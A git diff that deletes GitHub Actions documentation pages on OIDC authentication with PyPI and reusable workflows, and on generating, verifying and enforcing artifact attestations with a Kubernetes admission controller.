-```yaml
-jobs:
- build:
- runs-on: ubuntu-latest
- env:
- OIDC_AUDIENCE: 'YOUR_AUDIENCE'
-```
-
-Then, in your workflow file, retrieve the value of the variables stored in the `env` context. The following example uses the `env` context to retrieve the OIDC audience.
-
-```yaml
-- name: Get ID Token (using env context)
- uses: {% data reusables.actions.action-github-script %}
- id: idtoken
- with:
- script: |
- const coredemo = require('@actions/core');
- let id_token = await coredemo.getIDToken(process.env.OIDC_AUDIENCE);
- coredemo.setOutput('id_token', id_token);
-```
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-pypi.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-pypi.md
deleted file mode 100644
index b41dd32b67b3..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-pypi.md
+++ /dev/null
@@ -1,96 +0,0 @@
----
-title: Configuring OpenID Connect in PyPI
-shortTitle: OpenID Connect in PyPI
-intro: Use OpenID Connect within your workflows to authenticate with PyPI.
-versions:
- fpt: '*'
- ghec: '*'
-type: tutorial
-topics:
- - Security
- - Actions
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-pypi
----
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to authenticate with [PyPI](https://pypi.org) to publish Python packages.
-
-This guide gives an overview of how to configure PyPI to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and demonstrates how to use this configuration in the [`pypa/gh-action-pypi-publish`](https://github.com/marketplace/actions/pypi-publish) action to publish packages to PyPI (or other Python package repositories) without any manual API token management.
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-## Adding the identity provider to PyPI
-
-To use OIDC with PyPI, add a trust configuration that links each project on PyPI to each repository and workflow combination that's allowed to publish for it.
-
-1. Sign in to PyPI and navigate to the trusted publishing settings for the project you'd like to configure. For a project named `myproject`, this will be at `https://pypi.org/manage/project/myproject/settings/publishing/`.
-
-1. Configure a trust relationship between the PyPI project and a {% data variables.product.prodname_dotcom %} repository (and workflow within the repository). For example, if your {% data variables.product.prodname_dotcom %} repository is at `myorg/myproject` and your release workflow is defined in `release.yml` with an environment of `release`, you should use the following settings for your trusted publisher on PyPI.
-
- > [!NOTE]
- > Enter these values carefully. Giving the incorrect user, repository, or workflow the ability to publish to your PyPI project is equivalent to sharing an API token.
-
- * Owner: `myorg`
- * Repository name: `myproject`
- * Workflow name: `release.yml`
- * (Optionally) a {% data variables.product.prodname_actions %} environment name: `release`
-
-## Updating your {% data variables.product.prodname_actions %} workflow
-
-Once your trusted publisher is registered on PyPI, you can update your release workflow to use trusted publishing.
-
-{% data reusables.actions.oidc-deployment-protection-rules %}
-
-The [`pypa/gh-action-pypi-publish`](https://github.com/marketplace/actions/pypi-publish) action has built-in support for trusted publishing, which can be enabled by giving its containing job the `id-token: write` permission and omitting `username` and `password`.
-
-The following example uses the `pypa/gh-action-pypi-publish` action to exchange an OIDC token for a PyPI API token, which is then used to upload a package's release distributions to PyPI.
-
-```yaml copy
-jobs:
- release-build:
- runs-on: ubuntu-latest
-
- steps:
- - uses: {% data reusables.actions.action-checkout %}
-
- - uses: {% data reusables.actions.action-setup-python %}
- with:
- python-version: "3.x"
-
- - name: build release distributions
- run: |
- # NOTE: put your own distribution build steps here.
- python -m pip install build
- python -m build
-
- - name: upload windows dists
- uses: {% data reusables.actions.action-upload-artifact %}
- with:
- name: release-dists
- path: dist/
-
- pypi-publish:
- runs-on: ubuntu-latest
- needs:
- - release-build
- permissions:
- id-token: write
-
- steps:
- - name: Retrieve release distributions
- uses: {% data reusables.actions.action-download-artifact %}
- with:
- name: release-dists
- path: dist/
-
- - name: Publish release distributions to PyPI
- uses: pypa/gh-action-pypi-publish@3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f
-```
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/index.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/index.md
deleted file mode 100644
index 6424dc340273..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/index.md
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: Security hardening your deployments
-shortTitle: Security harden deployments
-intro: Use OpenID Connect within your workflows to authenticate with your cloud provider.
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-children:
- - /about-security-hardening-with-openid-connect
- - /configuring-openid-connect-in-amazon-web-services
- - /configuring-openid-connect-in-azure
- - /configuring-openid-connect-in-google-cloud-platform
- - /configuring-openid-connect-in-hashicorp-vault
- - /configuring-openid-connect-in-jfrog
- - /configuring-openid-connect-in-pypi
- - /configuring-openid-connect-in-cloud-providers
- - /using-openid-connect-with-reusable-workflows
----
-
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
deleted file mode 100644
index 51e4e361a6bf..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
+++ /dev/null
@@ -1,104 +0,0 @@
----
-title: Using OpenID Connect with reusable workflows
-shortTitle: OpenID Connect with reusable workflows
-intro: You can use reusable workflows with OIDC to standardize and security harden your deployment steps.
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows
- - /actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: how_to
-topics:
- - Workflows
- - Security
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About reusable workflows
-
-Rather than copying and pasting deployment jobs from one workflow to another, you can create a reusable workflow that performs the deployment steps. A reusable workflow can be used by another workflow if it meets one of the access requirements described in [AUTOTITLE](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows).
-
-You should be familiar with the concepts described in [AUTOTITLE](/actions/using-workflows/reusing-workflows) and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
-
-## Defining the trust conditions
-
-When combined with OpenID Connect (OIDC), reusable workflows let you enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. The available options will vary depending on your cloud provider:
-
-* **Using `job_workflow_ref`:**
- * To create trust conditions based on reusable workflows, your cloud provider must support custom claims for `job_workflow_ref`. This allows your cloud provider to identify which repository the job originally came from.
- * For clouds that only support the standard claims (audience (`aud`) and subject (`sub`)), you can use the API to customize the `sub` claim to include `job_workflow_ref`. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). Support for custom claims is currently available for Google Cloud Platform and HashiCorp Vault.
-
-* **Customizing the token claims:**
- * You can configure more granular trust conditions by customizing the {% ifversion ghec %}issuer (`iss`) and {% endif %}subject (`sub`) claim{% ifversion ghec %}s that are{% else %} that's{% endif %} included with the JWT. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims).
-
-## How the token works with reusable workflows
-
-During a workflow run, {% data variables.product.prodname_dotcom %}'s OIDC provider presents a OIDC token to the cloud provider which contains information about the job. If that job is part of a reusable workflow, the token will include the standard claims that contain information about the calling workflow, and will also include a custom claim called `job_workflow_ref` that contains information about the called workflow.
-
-For example, the following OIDC token is for a job that was part of a called workflow. The `workflow`, `ref`, and other attributes describe the caller workflow, while `job_workflow_ref` refers to the called workflow:
-
-```yaml copy
-{
- "typ": "JWT",
- "alg": "RS256",
- "x5t": "example-thumbprint",
- "kid": "example-key-id"
-}
-{
- "jti": "example-id",
- "sub": "repo:octo-org/octo-repo:environment:prod",
- "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org",
- "ref": "refs/heads/main",
- "sha": "example-sha",
- "repository": "octo-org/octo-repo",
- "repository_owner": "octo-org",
- "actor_id": "12",
- "repository_id": "74",
- "repository_owner_id": "65",
- "run_id": "example-run-id",
- "run_number": "10",
- "run_attempt": "2",
- "actor": "octocat",
- "workflow": "example-workflow",
- "head_ref": "",
- "base_ref": "",
- "event_name": "workflow_dispatch",
- "ref_type": "branch",
- "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main",
- "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}",
- "nbf": 1632492967,
- "exp": 1632493867,
- "iat": 1632493567
-}
-```
-
-If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples.
-
-## Examples
-
-**Filtering for reusable workflows within a specific repository**
-
-You can configure a custom claim that filters for any reusable workflow in a specific repository. In this example, the workflow run must have originated from a job defined in a reusable workflow in the `octo-org/octo-automation` repository, and in any repository that is owned by the `octo-org` organization.
-
-* **Subject:**
- * Syntax: `repo:ORG_NAME/*`
- * Example: `repo:octo-org/*`
-
-* **Custom claim:**
- * Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME`
- * Example: `job_workflow_ref:octo-org/octo-automation@*`
-
-**Filtering for a specific reusable workflow at a specific ref**
-
-You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization.
-
-* **Subject:**
- * Syntax: `repo:ORG_NAME/*`
- * Example: `repo:octo-org/*`
-
-* **Custom claim:**
- * Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref`
- * Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`
diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller.md b/content/actions/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller.md
deleted file mode 100644
index 01a913b94008..000000000000
--- a/content/actions/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller.md
+++ /dev/null
@@ -1,151 +0,0 @@
----
-title: Enforcing artifact attestations with a Kubernetes admission controller
-intro: Use an admission controller to enforce artifact attestations in your Kubernetes cluster.
-versions:
- fpt: '*'
- ghec: '*'
-shortTitle: Artifact attestations Kubernetes admission controller
-redirect_from:
- - /actions/security-guides/enforcing-artifact-attestations-with-a-kubernetes-admission-controller
----
-
->[!NOTE] Before proceeding, ensure you have enabled build provenance for container images, including setting the `push-to-registry` attribute in the [`attest-build-provenance` action](https://github.com/actions/attest-build-provenance) as documented in [Generating build provenance for container images](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds#generating-build-provenance-for-container-images). This is required for the Policy Controller to verify the attestation.
-
-## About Kubernetes admission controller
-
-[Artifact attestations](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds) enable you to create unfalsifiable provenance and integrity guarantees for the software you build. In turn, people who consume your software can verify where and how your software was built.
-
-Kubernetes admission controllers are plugins that govern the behavior of the Kubernetes API server. They are commonly used to enforce security policies and best practices in a Kubernetes cluster.
-
-Using the open source [Sigstore Policy Controller](https://docs.sigstore.dev/policy-controller/overview/) project you can add an admission controller to your Kubernetes cluster that can enforce artifact attestations. This way, you can ensure that only artifacts with valid attestations can be deployed.
-
-To [install the controller](#getting-started-with-kubernetes-admission-controller), we offer [two Helm charts](https://github.com/github/artifact-attestations-helm-charts): one for deploying the Sigstore Policy Controller, and another for loading the GitHub trust root and a default policy.
-
-### About image verification
-
-When the Policy Controller is installed, it will intercept all image pull requests and verify the attestation for the image. The attestation must be stored in the image registry as an [OCI attached artifact](https://oras.land/docs/concepts/reftypes/) containing a [Sigstore Bundle](https://docs.sigstore.dev/about/bundle/) which contains the attestation and cryptographic material (e.g. certificates and signatures) used to verify the attestation. A verification process is then performed that ensures the image was built with the specified build provenance and matches any policies enabled by the cluster administrator.
-
-In order for an image to be verifiable, it must have a valid provenance attestation in the registry, which can be done by enabling the `push-to-registry: true` attribute in the `actions/attest-build-provenance` action. See [Generating build provenance for container images](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds#generating-build-provenance-for-container-images) for more details on how to generate attestations for container images.
-
-### About trust roots and policies
-
-The Sigstore Policy Controller is primarily configured with trust roots and policies, represented by the Custom Resources `TrustRoot` and `ClusterImagePolicy`. A `TrustRoot` represents a trusted distribution channel for the public key material used to verify attestations. A `ClusterImagePolicy` represents a policy for enforcing attestations on images.
-
-A `TrustRoot` may also contain a [TUF](https://theupdateframework.io/) repository root, making it possible for your cluster to continuously and securely receive updates to its trusted public key material. If left unspecified, a `ClusterImagePolicy` will by default use the open source Sigstore Public Good Instance's key material. When verifying attestations generated for private repositories, the `ClusterImagePolicy` must reference the GitHub `TrustRoot`.
-
-## Getting started with Kubernetes admission controller
-
-To set up an admission controller for enforcing GitHub artifact attestations, you need to:
-
-1. [Deploy the Sigstore Policy Controller](#deploy-the-sigstore-policy-controller).
-1. [Add the GitHub `TrustRoot` and a `ClusterImagePolicy` to your cluster](#add-the-github-trustroot-and-a-clusterimagepolicy).
-1. [Enable the policy in your namespace](#enable-the-policy-in-your-namespace).
-
-### Deploy the Sigstore Policy Controller
-
-We have packaged the Sigstore Policy Controller as a [GitHub distributed Helm chart](https://github.com/github/artifact-attestations-helm-charts). Before you begin, ensure you have the following prerequisites:
-
-* A Kubernetes cluster with version 1.27 or later
-* [Helm](https://helm.sh/docs/intro/install/) 3.0 or later
-* [kubectl](https://kubernetes.io/docs/tasks/tools/)
-
-First, install the Helm chart that deploys the Sigstore Policy Controller:
-
-```bash copy
-helm upgrade policy-controller --install --atomic \
- --create-namespace --namespace artifact-attestations \
- oci://ghcr.io/github/artifact-attestations-helm-charts/policy-controller \
- --version v0.12.0-github10
-```
-
-This installs the Policy Controller into the `artifact-attestations` namespace. At this point, no policies have been configured, and it will not enforce any attestations.
-
-### Add the GitHub `TrustRoot` and a `ClusterImagePolicy`
-
-Once the policy controller has been deployed, you need to add the GitHub `TrustRoot` and a `ClusterImagePolicy` to your cluster. Use the Helm chart we provide to do this. Make sure to replace `MY-ORGANIZATION` with your GitHub organization's name (e.g., `github` or `octocat-inc`).
-
-```bash copy
-helm upgrade trust-policies --install --atomic \
- --namespace artifact-attestations \
- oci://ghcr.io/github/artifact-attestations-helm-charts/trust-policies \
- --version v0.6.2 \
- --set policy.enabled=true \
- --set policy.organization=MY-ORGANIZATION
-```
-
-You've now installed the GitHub trust root, and an artifact attestation policy into your cluster. This policy will reject artifacts that have not originated from within your GitHub organization.
-
-### Enable the policy in your namespace
-
-> [!WARNING]
-> This policy will not be enforced until you specify which namespaces it should apply to.
-
-Each namespace in your cluster can independently enforce policies. To enable enforcement in a namespace, you can add the following label to the namespace:
-
-```yaml
-metadata:
- labels:
- policy.sigstore.dev/include: "true"
-```
-
-After the label is added, the GitHub artifact attestation policy will be enforced in the namespace.
-
-Alternatively, you may run:
-
-```bash copy
-kubectl label namespace MY-NAMESPACE policy.sigstore.dev/include=true
-```
-
-### Matching images
-
-By default, the policy installed with the `trust-policies` Helm chart will verify attestations for all images before admitting them into the cluster. If you only intend to enforce attestations for a subset of images, you can use the Helm values `policy.images` and `policy.exemptImages` to specify a list of images to match against. These values can be set to a list of glob patterns that match the image names. The globbing syntax uses Go [filepath](https://pkg.go.dev/path/filepath#Match) semantics, with the addition of `**` to match any character sequence, including slashes.
-
-For example, to enforce attestations for images that match the pattern `ghcr.io/MY-ORGANIZATION/*` and admit `busybox` without a valid attestation, you can run:
-
-```bash copy
-helm upgrade trust-policies --install --atomic \
- --namespace artifact-attestations \
- oci://ghcr.io/github/artifact-attestations-helm-charts/trust-policies \
- --version v0.6.2 \
- --set policy.enabled=true \
- --set policy.organization=MY-ORGANIZATION \
- --set-json 'policy.exemptImages=["index.docker.io/library/busybox**"]' \
- --set-json 'policy.images=["ghcr.io/MY-ORGANIZATION/**"]'
- ```
-
-All patterns must use the fully-qualified name, even if the images originate from Docker Hub. In this example, if we want to exempt the image `busybox`, we must provide the full name including the domain and double-star glob to match all image versions: `index.docker.io/library/busybox**`.
-
-Note that any image you intend to admit _must_ have a matching glob pattern in the `policy.images` list. If an image does not match any pattern, it will be rejected. Additionally, if an image matches both `policy.images` and `policy.exemptImages`, it will be rejected.
-
-{% ifversion ghec %}
-
-If your GitHub Enterprise account has a subdomain on {% data variables.enterprise.data_residency_site %}, you must specify a value for the GitHub trust domain. This value is used to fetch the trusted materials associated with the data residency region that hosts your GitHub Enterprise account. This value can be found by logging into your enterprise account with the `gh` CLI tool and running the following command:
-
-```bash copy
-gh api meta --jq .domains.artifact_attestations.trust_domain
-```
-
-This value must be added when installing the `trust-policies` chart, like so:
-
-```bash copy
---set-json 'policy.trust.githubTrustDomain="YOUR-GHEC-TRUST-DOMAIN"'
-```
-
-{% endif %}
-
-### Advanced usage
-
-To see the full set of options you may configure with the Helm chart, you can run either of the following commands.
-For policy controller options:
-
-```bash copy
-helm show values oci://ghcr.io/github/artifact-attestations-helm-charts/policy-controller --version v0.12.0-github10
-```
-
-For trust policy options:
-
-```bash copy
-helm show values oci://ghcr.io/github/artifact-attestations-helm-charts/trust-policies --version v0.6.2
-```
-
-For more information on the Sigstore Policy Controller, see the [Sigstore Policy Controller documentation](https://docs.sigstore.dev/policy-controller/overview/).
diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/index.md b/content/actions/security-for-github-actions/using-artifact-attestations/index.md
deleted file mode 100644
index ab7abbfe17a4..000000000000
--- a/content/actions/security-for-github-actions/using-artifact-attestations/index.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Using artifact attestations
-shortTitle: Artifact attestations
-intro: Use artifact attestations to establish build provenance for the software you produce and to verify the software you consume.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /using-artifact-attestations-to-establish-provenance-for-builds
- - /using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3
- - /enforcing-artifact-attestations-with-a-kubernetes-admission-controller
- - /verifying-attestations-offline
----
-
diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3.md b/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3.md
deleted file mode 100644
index cfca245e1e85..000000000000
--- a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3.md
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: Using artifact attestations and reusable workflows to achieve SLSA v1 Build Level 3
-shortTitle: Attest with reusable workflows
-intro: Building software with reusable workflows and artifact attestations can streamline your supply chain security and help you achieve SLSA v1.0 Build Level 3.
-type: quick_start
-topics:
- - Actions
- - Security
- - Workflows
-versions:
- fpt: '*'
- ghec: '*'
-redirect_from:
- - /actions/security-guides/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3
----
-
-## Introduction
-
-Artifact attestations are a great way to create unfalsifiable provenance and integrity guarantees for the software you build.
-
-But remember that by itself, artifact attestations provides links, like the build instructions an artifact was built with, which meets SLSA v1.0 Build Level 2. To make an informed risk decision, it's up to you to follow those links and evaluate those build instructions.
-
-You can take this a step further by requiring builds make use of known, vetted build instructions. A great way to do this is to have your build take place in a reusable workflow that many repositories across your organization share. Reusable workflows can provide isolation between the build process and the calling workflow, to meet SLSA v1.0 Build Level 3.
-
-Before starting this guide, you should be familiar with:
-* Generating artifact attestations. See [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds).
-* Writing and using reusable workflows. See [AUTOTITLE](/actions/using-workflows/reusing-workflows).
-
-## Step 1: Configuring your builds
-
-First, we need to build with both artifact attestations and a reusable workflow.
-
-### Building with a reusable workflow
-
-If you aren't already using reusable workflows to build your software, you'll need to take your build steps and move them into a reusable workflow. For more information on how to write and call a reusable workflow, see [AUTOTITLE](/actions/using-workflows/reusing-workflows).
-
-### Building with artifact attestations
-
-The reusable workflow you use to build your software must also generate artifact attestations to establish build provenance. For more information, see [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds).
-
-When you use a reusable workflow to generate artifact attestations, both the calling workflow and the reusable workflow need to have the following permissions.
-
-```yaml copy
-permissions:
- attestations: write
- contents: read
- id-token: write
-```
-
-If you are building container images, you will also need to include the `packages: write` permission.
-
-## Step 2: Verifying artifact attestations built with a reusable workflow
-
-To verify the artifact attestations generated with your builds, you can use [`gh attestation verify`](https://cli.github.com/manual/gh_attestation_verify) from the GitHub CLI.
-
-The `gh attestation verify` command requires either `--owner` or `--repo` flags to be used with it. These flags do two things.
-
-* They tell `gh attestation verify` where to fetch the attestation from. This will always be your caller workflow.
-* They tell `gh attestation verify` where the workflow that did the signing came from. This will always be the workflow that uses [`attest-build-provenance` action](https://github.com/actions/attest-build-provenance), which may be a reusable workflow.
-
-You can use optional flags with the `gh attestation verify` command.
-
-* If your reusable workflow is not in the same repository as the caller workflow, use the `--signer-repo` flag to specify the repository that contains the reusable workflow.
-* If you would like to require an artifact attestation to be signed with a specific workflow, use the `--signer-workflow` flag to indicate the workflow file that should be used.
-
-For example, if your calling workflow is `ORGANIZATION_NAME/REPOSITORY_NAME/.github/workflows/calling.yml` and it uses `REUSABLE_ORGANIZATION_NAME/REUSABLE_REPOSITORY_NAME/.github/workflows/reusable.yml` you could do:
-
-```bash copy
-gh attestation verify -o ORGANIZATION_NAME --signer-repo REUSABLE_ORGANIZATION_NAME/REUSABLE_REPOSITORY_NAME PATH/TO/YOUR/BUILD/ARTIFACT-BINARY
-```
-
-Or if you want to specify the exact workflow:
-
-```bash copy
-gh attestation verify -o ORGANIZATION_NAME --signer-workflow REUSABLE_ORGANIZATION_NAME/REUSABLE_REPOSITORY_NAME/.github/workflows/reusable.yml PATH/TO/YOUR/BUILD/ARTIFACT-BINARY
-```
-
-## Conclusion
-
-You are now building and signing your artifacts in a reusable workflow, which can provide the isolation required by SLSA v1.0 Build Level 3. You can verify artifacts are built with known, vetted build instructions by requiring your artifact was built with a specific workflow, reusable or not.
diff --git a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds.md b/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds.md
deleted file mode 100644
index 7d7778cb3d7c..000000000000
--- a/content/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds.md
+++ /dev/null
@@ -1,222 +0,0 @@
----
-title: Using artifact attestations to establish provenance for builds
-intro: Artifact attestations enable you to increase the supply chain security of your builds by establishing where and how your software was built.
-product: '{% data reusables.gated-features.attestations %}'
-versions:
- fpt: '*'
- ghec: '*'
-shortTitle: Artifact attestations
-redirect_from:
- - /actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds
----
-
-## About artifact attestations
-
-{% data reusables.actions.about-artifact-attestations %}
-
-### About SLSA levels for artifact attestations
-
-The SLSA framework is an industry standard used to evaluate supply chain security. It is organized into levels. Each level represents an increasing degree of security and trustworthiness for a software supply chain. Artifact attestations by itself provides SLSA v1.0 Build Level 2.
-
-This provides a link between your artifact and its build instructions, but you can take this a step further by requiring builds make use of known, vetted build instructions. A great way to do this is to have your build take place in a reusable workflow that many repositories across your organization share. Reusable workflows can provide isolation between the build process and the calling workflow, to meet SLSA v1.0 Build Level 3. For more information, see [AUTOTITLE](/actions/security-guides/using-artifact-attestations-and-reusable-workflows-to-achieve-slsa-v1-build-level-3).
-
-For more information on SLSA levels, see [SLSA Security Levels](https://slsa.dev/spec/v1.0/levels).
-
-### About using Sigstore for artifact attestations
-
-To generate artifact attestations, {% data variables.product.prodname_dotcom %} uses Sigstore, which is an open source project that offers a comprehensive solution for signing and verifying software artifacts via attestations.
-
-**Public repositories** that generate artifact attestations use the [Sigstore Public Good Instance](https://openssf.org/blog/2023/10/03/running-sigstore-as-a-managed-service-a-tour-of-sigstores-public-good-instance/). A copy of the generated Sigstore bundle is stored with GitHub and is also written to an immutable transparency log that is publicly readable on the internet.
-
-**Private repositories** that generate artifact attestations use GitHub's Sigstore instance. GitHub's Sigstore instance uses the same codebase as the Sigstore Public Good Instance, but it does not have a transparency log and only federates with {% data variables.product.prodname_actions %}.
-
-### What to attest
-
-Generating attestations alone doesn't provide any security benefit, the attestations must be verified for the benefit to be realized. Here are some guidelines for how to think about what to sign and how often:
-
-You should sign:
-
-* Software you are releasing that you expect people to run `gh attestation verify ...` on.
-* Binaries people will run, packages people will download, or manifests that include hashes of detailed contents.
-
-You should **not** sign:
-
-* Frequent builds that are just for automated testing.
-* Individual files like source code, documentation files, or embedded images.
-
-### About verifying artifact attestations
-
-If you consume software that publishes artifact attestations, you can use the {% data variables.product.prodname_cli %} to verify those attestations. Because the attestations give you information about where and how software was built, you can use that information to create and enforce security policies that elevate your supply chain security. For more information, see [Verifying artifact attestations with the {% data variables.product.prodname_cli %}](#verifying-artifact-attestations-with-the-github-cli).
-
->[!WARNING]It is important to remember that artifact attestations are _not_ a guarantee that an artifact is secure. Instead, artifact attestations link you to the source code and the build instructions that produced them. It is up to you to define your policy criteria, evaluate that policy by evaluating the content, and make an informed risk decision when you are consuming software.
-
-## Generating artifact attestations for your builds
-
-You can use {% data variables.product.prodname_actions %} to generate artifact attestations that establish build provenance for artifacts such as binaries and container images.
-
-To generate an artifact attestation, you must:
-
-* Ensure you have the appropriate permissions configured in your workflow.
-* Include a step in your workflow that uses the [`attest-build-provenance` action](https://github.com/actions/attest-build-provenance).
-
-When you run your updated workflows, they will build your artifacts and generate an artifact attestation that establishes build provenance. You can view attestations in your repository's **Actions** tab. For more information, see the [`attest-build-provenance`](https://github.com/actions/attest-build-provenance) repository.
-
-### Generating build provenance for binaries
-
-1. In the workflow that builds the binary you would like to attest, add the following permissions.
-
- ```yaml
- permissions:
- id-token: write
- contents: read
- attestations: write
- ```
-
-1. After the step where the binary has been built, add the following step.
-
- ```yaml
- - name: Generate artifact attestation
- uses: actions/attest-build-provenance@v2
- with:
- subject-path: 'PATH/TO/ARTIFACT'
- ```
-
- The value of the `subject-path` parameter should be set to the path to the binary you want to attest.
-
-### Generating build provenance for container images
-
-1. In the workflow that builds the container image you would like to attest, add the following permissions.
-
- ```yaml
- permissions:
- id-token: write
- contents: read
- attestations: write
- packages: write
- ```
-
-1. After the step where the image has been built, add the following step.
-
- ```yaml
- - name: Generate artifact attestation
- uses: actions/attest-build-provenance@v2
- with:
- subject-name: {% raw %}${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}{% endraw %}
- subject-digest: 'sha256:fedcba0...'
- push-to-registry: true
- ```
-
- The value of the `subject-name` parameter should specify the fully-qualified image name. For example, `ghcr.io/user/app` or `acme.azurecr.io/user/app`. Do not include a tag as part of the image name.
-
- The value of the `subject-digest` parameter should be set to the SHA256 digest of the subject for the attestation, in the form `sha256:HEX_DIGEST`. If your workflow uses `docker/build-push-action`, you can use the [`digest`](https://github.com/docker/build-push-action?tab=readme-ov-file#outputs) output from that step to supply the value. For more information on using outputs, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs).
-
-## Generating an attestation for a software bill of materials (SBOM)
-
-You can generate signed SBOM attestations for workflow artifacts.
-
-To generate an attestation for an SBOM, you must:
-
-* Ensure you have the appropriate permissions configured in your workflow.
-* Create an SBOM for your artifact. For more information, see [`anchore-sbom-action`](https://github.com/marketplace/actions/anchore-sbom-action) in the {% data variables.product.prodname_marketplace %}.
-* Include a step in your workflow that uses the [`attest-sbom` action](https://github.com/actions/attest-sbom).
-
-When you run your updated workflows, they will build your artifacts and generate an SBOM attestation. You can view attestations in your repository's **Actions** tab. For more information, see the [`attest-sbom` action](https://github.com/actions/attest-sbom) repository.
-
-### Generating an SBOM attestation for binaries
-
-1. In the workflow that builds the binary you would like to attest, add the following permissions.
-
- ```yaml
- permissions:
- id-token: write
- contents: read
- attestations: write
- ```
-
-1. After the step where the binary has been built, add the following step.
-
- ```yaml
- - name: Generate SBOM attestation
- uses: actions/attest-sbom@v1
- with:
- subject-path: 'PATH/TO/ARTIFACT'
- sbom-path: 'PATH/TO/SBOM'
- ```
-
- The value of the `subject-path` parameter should be set to the path of the binary the SBOM describes. The value of the `sbom-path` parameter should be set to the path of the SBOM file you generated.
-
-### Generating an SBOM attestation for container images
-
-1. In the workflow that builds the container image you would like to attest, add the following permissions.
-
- ```yaml
- permissions:
- id-token: write
- contents: read
- attestations: write
- packages: write
- ```
-
-1. After the step where the image has been built, add the following step.
-
- ```yaml
- - name: Generate SBOM attestation
- uses: actions/attest-sbom@v1
- with:
- subject-name: {% raw %}${{ env.REGISTRY }}/PATH/TO/IMAGE{% endraw %}
- subject-digest: 'sha256:fedcba0...'
- sbom-path: 'sbom.json'
- push-to-registry: true
- ```
-
- The value of the `subject-name` parameter should specify the fully-qualified image name. For example, `ghcr.io/user/app` or `acme.azurecr.io/user/app`. Do not include a tag as part of the image name.
-
